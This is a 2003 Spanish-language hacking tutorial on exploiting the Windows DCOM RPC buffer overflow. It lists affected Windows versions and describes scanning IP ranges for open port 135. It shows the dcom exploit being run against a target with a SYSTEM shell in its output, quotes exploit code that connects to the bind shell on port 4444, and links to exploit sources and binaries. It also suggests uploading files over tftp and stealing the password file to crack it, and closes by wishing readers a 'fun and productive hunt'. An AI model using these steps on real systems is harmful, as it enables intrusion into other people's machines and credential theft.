Esplicacion de los aspectos del bug RPC DCOM. Como explotarlo y algunos otros detalles.
Texto Completo:
___________________________________________________
$ $
$ Explotando el bug DCOM RPC v1.0 $
$ $
$ Thu Jul 31 07:35:00 CEST 2003 $
$ $
$ Escrito por SeSoX (sesox at govannom dot org) $
$ $
$ Creado para http://www.govannom.org $
$ $
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
1.- Sistemas vulnerables
2.- Como saber si un sistema es vulnerable
3.- Creando un sistema vulnerable
4.- Consiguiendo acceso por telnet
5.- Echando un vistazo al exploit
6.- Agradecimientos y Despedida
1.- Sistemas vulnerables
^^^^^^^^^^^^^^^^^^^^
Tal y como podemos ver en la web de securityfocus[1], los sitemas vulnerables son:
Microsoft Windows 2000 Advanced Server (SP4,SP3,SP2,SP1,sin SP)
Microsoft Windows 2000 Datacenter Server (SP4,SP3,SP2,SP1,sin SP)
Microsoft Windows 2000 Professional (SP4,SP3,SP2,SP1,sin SP)
Microsoft Windows 2000 Server (SP4,SP3,SP2,SP1,sin SP)
Microsoft Windows NT Enterprise Server 4.0 (SP6a,SP6,SP5,SP4,SP3,SP2,SP1,sin SP)
Microsoft Windows NT Server 4.0 (SP6a,SP6,SP5,SP4,SP3,SP2,SP1,sin SP)
Microsoft Windows NT Terminal Server 4.0 (SP6a,SP6,SP5,SP4,SP3,SP2,SP1,sin SP)
Microsoft Windows NT Workstation 4.0 (SP6a,SP6,SP5,SP4,SP3,SP2,SP1,sin SP)
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Datacenter Edition 64-bit
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Enterprise Edition 64-bit
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP 64-bit Edition SP1
Microsoft Windows XP 64-bit Edition
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
2.- Como saber si un sistema es vulnerable
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Un escaner que tiene muy buena pinta es el siguiente:
http://download.iss.net/eval/internet_scanner/scanms.exe
No lo he mirado mucho pero parece estar muy bien. La verdad parece vastante
recomendable usarlo.
Sino, el sistema que he usado yo asta ahora consiste en hacer primero el escaneo de
algunos rangos de ip-s con programas del tipo de R3x o "LANguard Network Security
Scanner" (comentado en el texto de cyruxnet[3]). Con estos programas sabremos cual
es el sistema que corre la maquina, ya sea w2k, winNT o win98...... si por ejemplo
estamos usando el exploit dcom.c los unicos sistemas que nos interesan son los w2k y
los XP por lo tanto nos centraremos unicamente en las maquinas con w2k y con winXP
ya que son las unicas soportadas por este exploit, si usas otro exploit, pues haz
lo mismo con las maquinas q soporte ese exploit. Una vez tenemos las maquinas
soportadas por el exploit, debemos asegurarnos de que tienen el puerto 135 habierto
y tras esto podemos usar el scaner de eeye para saber si son o no vulnerables:
http://www.terra.es/personal6/robesan/RetinaRPCDCOM.exe
Sino podemos pasar directamente a usar el exploit.
Personalmente, he estado echando un vistazo por internet y parece ser que a veces el exploit
tira el servicio RPC de la maquina, asi que andaros con cuidado no se valla a enfadar
algun admin, aparte de que no es muy divertido andar por ahi tirando servicios.....
Se que el proceso que os indico para escanear esta vulnerabilidad es vastante engorroso,
pero es que teniendo en cuenta que podemos tirar el servicio RPC, no es muy conveniente
andar usando el exploit a saco con todos los pc-s que tengan el 135 habierto (me parece a mi).
3.- Creando un sistema vulnerable
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
En principio con instalar el sistema, seria suficiente para que la maquina sea vulnerable
a este bug, de todas formas, si mirais los exploits, os dareis cuenta de que por ejemplo
no hay exploits para las versiones en castellano de w2k SP0, SP1, SP2, SP3 y algunos otros
sistemas. Por ejemplo tampoco hay para sistemas NT4 asi que si sabeis que la maquina es
un NT4 mejor dejarla tranquila para no tirarles el servicio abajo.
4.- Consiguiendo acceso por telnet
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Bueno, una vez localizado un servidor vulerable usando la tecnica explicada en el punto 2 debemos
usar el exploit[2] para poder conseguir una cuenta en el sistema, lo que debemos hacer es lo
siguiente:
SeSoX # ./dcom 4 192.168.0.25
---------------------------------------------------------
- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM
- Using return address of 0x77f92a9b
- Dropping to System Shell...
Microsoft Windows 2000 [Versi¢n 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\WINNT\system32>
Ya tenemos acceso al sistema!!!!!!!!!!!! ahora deja volar tu imaginacion };)
Podemos usar tftp para subir ficheros al servidor, copiar ficheros del sistema en
el directorio web para bajarlos, bajarnos el fichero de contraseñas para crackearlo
o lo que nos de la gana pero... ser buenos vale ? ;)
El segundo valor, que en el ejemplo es un 2 puede variar de un sistema a otro, pero
como ya comente antes, mejor atinar a la 1º pq sino, es posible que a la segunda
nos aparezca lo siguiente:
SeSoX # ./dcom 3 192.168.0.25
---------------------------------------------------------
- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM
- Using return address of 0x77e8367a
- Connect: Connection refused
Con lo cual yo he deducido que pasa lo que ya os he comentado, que hemos tirado el
servicio RPC. Podeis hacerle un scaneo al puerto 135 y vereis que ahora esta cerrado.
5.- Echando un vistazo al exploit (dcom.c)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
No soy ningun experto en exploits y no podre esplicaros gran cosa sobre este, pero
veamos un par de detalles que espero a alguien le sirvan de algo.
En el bug del nsiislog cuando usabamos el exploit con un servidor, lo que hacia este
exploit era habrir un puerto en la maquina y luego nos conectabamos a ese puerto
por telnet ¿lo recordais? pues bien, este exploit actua exactamente igual, lo que hace
es habrir el puerto 4444 en el servidor, pero la diferencia en este caso es que
el mismo exploit es el que realiza la conexion a ese puerto, sin tener nosotros la
necesidad de hacer un telnet. Y como podemos saber esto en el exploit ? pues viendo
el siguiente codigo que esta al final del exploit:
target_ip.sin_family = AF_INET;
// argv[2] es la direccion ip del servidor que estamos testeando ;)
target_ip.sin_addr.s_addr = inet_addr(argv[2]);
// el puerto que habrira el exploit en el servidor (4444)
target_ip.sin_port = htons(4444);
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("- Socket");
return(0);
}
// Realiza la conexion al puerto 4444 en el servidor y en caso de que
// no pueda conectar, nos da un error.
if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
{
printf("- Exploit appeared to have failed.\n");
return(0);
}
// Si ha conectado nos mostrara este mensaje y aparecera el prompt de ms-dos
printf("- Dropping to System Shell...\n\n");
shell(sock);
Si quereis, podeis probar a eliminar estas lineas y a usar el exploit de forma que tras
ejecutarlo tendreis que hacer telnet al puerto 4444 del servidor para ver si ha funcionado
o no, esto tambien tendria sus ventajas, ya que al hacer por ejemplo un Ctrl+C no nos
cerraria la conexion con el servidor.
6.- Agradecimientos y Despedida
^^^^^^^^^^^^^^^^^^^^^^^^^^^
Agradecer a ASzY la revicion de este documento, y la compilacion del exploit de windows.
A toda la peña que me ha ayudado cuando lo he necesitado y a toda la gente que escribe
textos como este para enseñar cosillas a los demas.
Tambien queria agradecer a cyruxnet.com.ar el haber puesto la noticia de mi texto sobre el
bug de windows media services (nsiislog) en su web.
Si os surge cualquier duda, encontrais algun fallo o quereis añadir algo en este texto, no dudeis
en escribirme a sesox at govannom dot org pq estare encantado de leer vuestros correos.
Que tengais una divertida y productiva caza!!!! };)
[1] http://www.securityfocus.com/bid/8205
[2] Linux (fuentes) http://www.terra.es/personal6/robesan/dcom.c
Linux (binarios) http://www.terra.es/personal6/robesan/dcom
Win (fuentes) http://www.terra.es/personal6/robesan/07.30.dcom48.c
Win (binarios) http://www.terra.es/personal6/robesan/07.30.dcom48.exe
[3] http://www.cyruxnet.com.ar/rpcxploit.htm
Mas informacion:
http://www.securiteam.com/windowsntfocus/5SP0C20AKG.html
http://www.securityfocus.com/bid/8205
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352
http://www.hispasec.com/unaaldia/1728
http://securityresponse.symantec.com/avcenter/security/Content/8205.html
http://www.unam-cert.unam.mx/Boletines/Boletines2003/boletin-UNAM-CERT-2003-016.html
Copyright (c) 2004 SeSoX.
Se otorga permiso para copiar, distribuir y/o modificar este documento bajo
los términos de la Licencia de Documentación Libre (FDL) GNU, Versión 1.2 o
cualquier otra versión posterior publicada por la Free Software Foundation
|